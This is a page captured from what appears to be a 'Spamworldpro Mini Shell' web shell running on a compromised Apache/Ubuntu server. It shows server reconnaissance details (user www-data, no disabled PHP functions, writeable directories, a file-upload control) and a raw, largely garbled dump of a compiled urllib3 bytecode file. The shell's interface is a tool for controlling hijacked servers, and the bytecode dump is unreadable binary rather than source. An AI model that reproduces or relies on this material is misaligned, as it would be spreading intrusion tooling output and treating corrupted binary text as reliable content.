Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/urllib3/util/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/urllib3/util/__pycache__/ssltransport.cpython-310.pyc
o

�~�`��@sFddlZddlZddlZddlmZddlmZdZGdd�d�ZdS)�N)�ProxySchemeUnsupported)�sixi@c@s�eZdZdZedd��Z	d:dd�Zdd	�Zd
d�Zdd
�Z	d;dd�Z
d<dd�Zd=dd�Zd>dd�Z
d>dd�Z	d?dd�Zdd�Zdd �Zd@d"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�ZdAd6d7�Zd8d9�ZdS)B�SSLTransportaL
    The SSLTransport wraps an existing socket and establishes an SSL connection.

    Contrary to Python's implementation of SSLSocket, it allows you to chain
    multiple TLS connections together. It's particularly useful if you need to
    implement TLS within TLS.

    The class supports most of the socket API operations.
    cCs$t|d�stjrtd��td��dS)z�
        Raises a ProxySchemeUnsupported if the provided ssl_context can't be used
        for TLS in TLS.

        The only requirement is that the ssl_context provides the 'wrap_bio'
        methods.
        �wrap_biozKTLS in TLS requires SSLContext.wrap_bio() which isn't supported on Python 2zXTLS in TLS requires SSLContext.wrap_bio() which isn't available on non-native SSLContextN)�hasattrr�PY2r)�ssl_context�r	�;/usr/lib/python3/dist-packages/urllib3/util/ssltransport.py�$_validate_ssl_context_for_tls_in_tlss

���z1SSLTransport._validate_ssl_context_for_tls_in_tlsNTcCsHt��|_t��|_||_||_|j|j|j|d�|_|�|jj	�dS)zV
        Create an SSLTransport around socket using the provided ssl_context.
        )�server_hostnameN)
�ssl�	MemoryBIO�incoming�outgoing�suppress_ragged_eofs�socketr�sslobj�_ssl_io_loop�do_handshake)�selfrrrrr	r	r
�__init__,s


�zSSLTransport.__init__cCs|S�Nr	�rr	r	r
�	__enter__?szSSLTransport.__enter__cGs|��dSr)�close)r�_r	r	r
�__exit__B�zSSLTransport.__exit__cC�
|j��Sr)r�filenorr	r	r
r E�
zSSLTransport.fileno�cCs|�||�Sr)�_wrap_ssl_read)r�len�bufferr	r	r
�readHrzSSLTransport.readrcCs|dkrtd��|�|�S)Nrz+non-zero flags not allowed in calls to recv)�
ValueErrorr#)rr$�flagsr	r	r
�recvKs
zSSLTransport.recvcCs>|dkrtd��|r|durt|�}n|durd}|�||�S)Nrz0non-zero flags not allowed in calls to recv_intor")r'r$r&)rr%�nbytesr(r	r	r
�	recv_intoPs
zSSLTransport.recv_intoc	Cs�|dkrtd��d}t|��?}|�d��!}t|�}||kr.|�||d��}||7}||ksWd�n1s8wYWd�dSWd�dS1sPwYdS)Nrz.non-zero flags not allowed in calls to sendall�B)r'�
memoryview�castr$�send)r�datar(�count�view�	byte_view�amount�vr	r	r
�sendallYs��P�zSSLTransport.sendallcCs$|dkrtd��|�|jj|�}|S)Nrz+non-zero flags not allowed in calls to send)r'rr�write)rr0r(�responser	r	r
r/cszSSLTransport.send�rc
Cst|�hd�kstd|f��d|v}d|vp|}|s |s J�d|v}d}	|r,|	d7}	|r2|	d7}	t�||	�}
|jjd7_|durFd	}|d
krMtj}|d
krY|sWtd��|
S|re|ret�|
|
|�}n|rnt�|
|�}n
|srJ�t�	|
|�}|r||St�
||||�}||_|S)a
        Python's httpclient uses makefile and buffered io when reading HTTP
        messages and we need to support it.

        This is unfortunately a copy and paste of socket.py makefile with small
        changes to point to the socket directly.
        >�br9�wz&invalid mode %r (only r, w, b allowed)r;r9r:��N���rz!unbuffered streams must be binary)�setr'r�SocketIO�_io_refs�io�DEFAULT_BUFFER_SIZE�BufferedRWPair�BufferedReader�BufferedWriter�
TextIOWrapper�mode)
rrH�	buffering�encoding�errors�newline�writing�reading�binary�rawmode�rawr%�textr	r	r
�makefileis@
zSSLTransport.makefilecCs|�|jj�dSr)rr�unwraprr	r	r
rT�szSSLTransport.unwrapcC�|j��dSr)rrrr	r	r
r��zSSLTransport.closeFcCs|j�|�Sr)r�getpeercert)r�binary_formr	r	r
rW�rzSSLTransport.getpeercertcCrr)r�versionrr	r	r
rY�r!zSSLTransport.versioncCrr)r�cipherrr	r	r
rZ�r!zSSLTransport.ciphercCrr)r�selected_alpn_protocolrr	r	r
r[�r!z#SSLTransport.selected_alpn_protocolcCrr)r�selected_npn_protocolrr	r	r
r\�r!z"SSLTransport.selected_npn_protocolcCrr)r�shared_ciphersrr	r	r
r]�r!zSSLTransport.shared_cipherscCrr)r�compressionrr	r	r
r^�r!zSSLTransport.compressioncCs|j�|�dSr)r�
settimeout)r�valuer	r	r
r_�szSSLTransport.settimeoutcCrr)r�
gettimeoutrr	r	r
ra�r!zSSLTransport.gettimeoutcCrUr)r�_decref_socketiosrr	r	r
rb�rVzSSLTransport._decref_socketiosc
CsRz
|�|jj||�WStjy(}z|jtjkr#|jr#WYd}~dS�d}~ww�Nr)rrr&r
�SSLError�errno�
SSL_ERROR_EOFr)rr$r%�er	r	r
r#�s��zSSLTransport._wrap_ssl_readc
Gs�d}d}|r]d}z||�}Wn!tjy/}z|jtjtjfvr"|�|j}WYd}~nd}~ww|j��}|j�|�|durBd}n|tjkr[|j�	t
�}|rV|j�|�n|j�
�|s|S)z>Performs an I/O loop between incoming/outgoing and the socket.TNF)r
rdre�SSL_ERROR_WANT_READ�SSL_ERROR_WANT_WRITErr&rr6r)�
SSL_BLOCKSIZErr7�	write_eof)r�func�args�should_loop�retrerg�bufr	r	r
r�s.��


�zSSLTransport._ssl_io_loop)NT)r"N)r"rrc)r)r9NNNN)Fr)�__name__�
__module__�__qualname__�__doc__�staticmethodrrrrr r&r)r+r6r/rSrTrrWrYrZr[r\r]r^r_rarbr#rr	r	r	r
rs<


�



	


�-

	r)	rBrr
�urllib3.exceptionsr�urllib3.packagesrrjrr	r	r	r
�<module>s

Spamworldpro Mini